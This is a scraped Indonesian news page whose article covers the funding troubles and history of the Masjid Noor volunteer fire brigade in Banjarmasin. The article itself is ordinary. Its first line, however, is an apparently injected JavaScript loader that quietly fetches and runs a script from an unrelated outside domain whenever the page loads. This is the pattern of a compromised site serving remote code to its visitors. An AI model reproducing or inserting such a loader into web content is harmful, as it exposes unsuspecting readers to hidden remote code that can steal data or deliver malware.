(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Dibalik Heroiknya BPK di Banjarmasin, Banyak Aksi Minim Dana, Kadang Urunan Sendiri


BANJARMASIN, Berdiri Maret 1982, organisasi kemasyaraktan PMK Masjid Noor Banjarmasin telah bergerak di bidang relawan pengendalian bencana berbasis pemadam kebakaran swadaya masyarakat. Rentang waktu 37 tahun sudah ‘berperang’ melawan api, tak terhitung berapa aksi pemadaman kebakaran yang mereka kerjakan dengan ringan tangan.

Saking lamanya damkar swadaya masyarakat ini sendiri, menurut Habib Salim Muhammad Alkaff, Ketua BPK Masjid Noor jam terbang mereka sudah tinggi.

Di luar ketangkasan para penakluk api yang menantang maut ini tentu modal badan saja tidak cukup, di samping itu masih ada organisasi BPK sendiri yang harus ‘diberi makan’.

Tidak hidup di bawah naungan pemerintah, tentu BPK di Banjarmasin harus selalu memutar otak menghidupi kelompok mereka yang jumlahnya mungkin ribuan ada di kota berjuluk Seribu Sungai. Tidak seperti beberapa tahun terakhir, BPK di Banjarmasin sering mendapat bantuan dari pemerintah kota berupa dana senilai 1 hingga 2,5 juta per tahun, ternyata sejak tahun 2015, dana tersebut tak lagi mengalir kepada mereka.

BPK-BPK swadaya ini tentu sempat mengajukan permohonan kepada pemerintah kota. Namun hal ini terkendala akibat banyaknya persyaratan dokumen seperti surat dari Kemenkumham hingga akta notaris.

“Padahal buat akta notaris juga tidak murah kan,” ungkap Habib Salim ketika ditemui Kanalkalimantan.com di pos BPK Masjid Noor, jalan Pangeran Samudera, Banjarmasin.

Ketua BPK Masjid Noor, Habib Salim Muhammad Alkaff. Foto : mario

Alhasil, damkar swadaya di Banjarmasin ini hanya bisa berharap urunan dana dari warga dan donatur. Pun penggalangan dana juga tidak boleh keluar dari kecamatan di mana posko BPK tersebut berada. Sehari biasanya terkumpul dana sekitar 100 ribuan. Itu pun habis jika terjadi satu kebakaran, bahkan kadang dana tersebut bisa kurang, jelas Habib Salim. Acap kali, kantong pribadi dari para anggota lah yang akhirnya dikumpulkan secara sukarela.

“Dulu pernah ada iuran anggota, tapi kasian juga memungut dari anggota. Terus pernah juga dulu ada yang aktif keliling mengumpul dana dari warga, bisa dapat sampai 700 sebulan. Tapi sekarang orang ini sudah berhenti,” beber pria berambut pendek ini.

Padahal untuk dana service ganti oli mobil BPK perlu mengeluarkan Rp300 ribu dan untuk bahan bakar kendaraan hingga Rp250 ribu. Belum jika harus memperbaiki mesin dan selang yang rusak. Tidak tanggung-tanggung, untuk selang 20 meter saja mencapai harga Rp 2 juta. Bahkan, untuk kualitas yang jauh lebih baik dapat mencapai angka Rp 6 juta. “Ada yang sejuta, tapi mudah rusak. Misalnya lama ga dipakai, terus tiba-tiba dipakai mendadak, bisa robek,” ceritanya.

Razi, anggota BPK Masjid Noor Banjarmasin. Foto : mario

Untuk mesin pompa air, kini pihak BPK telah beralih dari mesin besar ke alkon. Selain bentuknya yang kecil dan mudah dibawa. Alkon lebih mudah untuk digunakan di lokasi kebakaran yang minim air sebab mampu menyedot hingga air lumpur. Berbeda mesin besar yang tentu lebih berat, mesin tersebut akan rusak jika dipaksa untuk menyedot air. Dan bila mesin tersebut rusak untuk perbaikannya bisa mencapai angka Rp20 juta.

Berawal dari Remaja Masjid dan Diketuai para Habaib

Berawal dari Remaja Masjid Noor yang terletak di jalan Pangeran Samudera, Kelurahan Kertak Baru Ulu, Kecamatan Banjarmasin Tengah, Banjarmasin, Kalsel, PMK Masjid Noor pun lahir pada tahun 1982 silam. Organisasi ini berdir dipelopori oleh para Habaib dan Remaja Masjid Noor. Kala itu, ketua umum pertama adalah Habib Abdurahman Ali Alkaff atau akrab disapa pak Momon.


PMK Masjid Noor kini telah memasuki generasi ke-4 dan telah melakukan beberapa kali Pergantian ketua umum, diantaranya dari Habib Abdurahman Ali Alkaff ke H Ismaun, kemudian berlanjut ke Habib Ayie Abdurahman Hasan Alkaff. Kemudian diturunkan ke Habib Ali Khaidir Hasan Alkaff dan hingga saat ini beralih tangan ke Habib Salim Muhammad Alkaff.

PMK Masjid Noor ini pun telah mendapat pengakuan pemerintah sebagai organisasi resmi nasional dan terdaftar secara hukum melalu akta notaris  No.01 Tanggal 08 Juli 2015 , Dengan SK KEMENKUMHAM RI No.AHU 0001976.AH.01.07.Th2015. (mario)

Reporter : Mario
Editor : Bie

 


Desy Arfianty

Recent Posts

Disperkim Kalsel Tegaskan Komitmen Hunian Layak untuk Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More

2 jam ago

Satu Suara, Pilkada Lewat DPRD BEM SI Kalsel Sepakat Menolak

KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More

2 jam ago

Pascabanjir Bandang Balangan 48 Rumah Mulai Diperbaiki

KANALKALIMANTAN.COM, PARINGIN – Pekan pertama masa pemulihan pascabanjir di Kabupaten Balangan, sejumlah perbaikan sudah mulai… Read More

2 jam ago

Serah Terima Aset Pemkab Kapuas – Kejari, Bupati Wiyatno: Lahan akan Dijadikan Taman

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas dan Kejaksaan Negeri (Kejari) Kapuas melakukan serah… Read More

6 jam ago

Memperkuat Iman Peringati Isra Mikraj Warga Binaan Rutan Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga binaan Rumah Tahanan Negara (Rutan) Kelas II B Kapuas berkumpul… Read More

6 jam ago

Bupati Kapuas Serahkan Bantuan Korban Kebakaran di Desa Pantai Kapuas Barat

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas bergerak cepat merespons kebakaran permukiman di Desa Pantai… Read More

6 jam ago

This website uses cookies.